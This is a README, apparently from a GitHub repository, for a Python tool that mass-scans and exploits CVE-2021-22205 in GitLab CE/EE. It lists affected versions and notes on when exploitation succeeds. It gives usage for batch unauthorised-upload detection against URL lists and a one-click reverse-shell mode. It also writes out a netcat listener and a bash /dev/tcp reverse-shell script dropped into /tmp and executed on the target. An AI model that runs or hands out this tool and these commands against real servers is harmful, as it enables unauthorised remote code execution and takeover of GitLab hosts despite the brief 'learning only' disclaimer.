/CVE-2021-22205

CVE-2021-22205未授权漏洞批量检测与利用工具

Primary LanguagePython

0x01 前言

⚠️声明:本项目仅供学习和交流使用,请勿用于非法未授权测试!

更新记录

11.2

  • 增加了一键反弹shell功能
  • 优化了相关流程

11.1

  • 增加了批量检测 文本中可以直接使用ip检测,不需要写协议

10.30

  • 增加了burp代理池
  • 重写了命令行参数
  • 增加了gitlab未授权批量以及单个检测功能

影响版本

11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

⚠️部分版本漏洞有坑点无法利用,详细复现测试分析文章请参看我的blog

http://blog.seals6.top/index.php/archives/14/

跟几个师傅测试了一下,总结如下,如果还有问题,欢迎私聊!

v11版本需要授权登陆或者注册新用户进入后台,新建项目进行上传
v12版本存在未授权,管理员登陆或者注册新用户进入后台,新建项目进行上传
v13版本存在未授权,管理员登陆,默认情况允许注册新用户,但还需要管理员审核后才能进入后台

0x02 使用说明

安装

pip3 install - r requirements.txt

使用方法

usage: CVE-2021-22205.py [-h] [-w WAY] [-u URL] [-f FILE] [-ri REIP] [-rp REPORT]

CVE-2021-22205

optional arguments:
  -h, --help            show this help message and exit
  -w WAY, --way WAY     Exploit way unauthorized or reverse shell
  -u URL, --url URL     url like http://127.0.0.1:8080
  -f FILE, --file FILE  url file path
  -ri REIP, --reip REIP
                        reverse ip
  -rp REPORT, --report REPORT
                        reverse port

单个url进行未授权上传漏洞检测

python3 CVE-2021-22205.py -w un -u http://127.0.0.1

进行批量未授权上传漏洞检测

python3 CVE-2021-22205.py -w un -f ./url.txt

一键反弹shell,目前只支持单个ip

python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口

举个小例子

此漏洞默认不回显,输入命令,例如以dnslog带数据进行判断是否存在漏洞

重回dnslog进行检测,有回显即成功

反弹shell

监听server4444端口

nc -l 4444

利用工具,具体流程是上传反弹shell脚本到/tmp/1.sh 然后进行执行

echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1' > /tmp/1.sh

chmod +x /tmp/1.sh

/bin/bash /tmp/1.sh

工具一键执行反弹shell

python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口

成功getshell

REF

https://hackerone.com/reports/1154542

https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/

https://github.com/RedTeamWing/CVE-2021-22205

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205/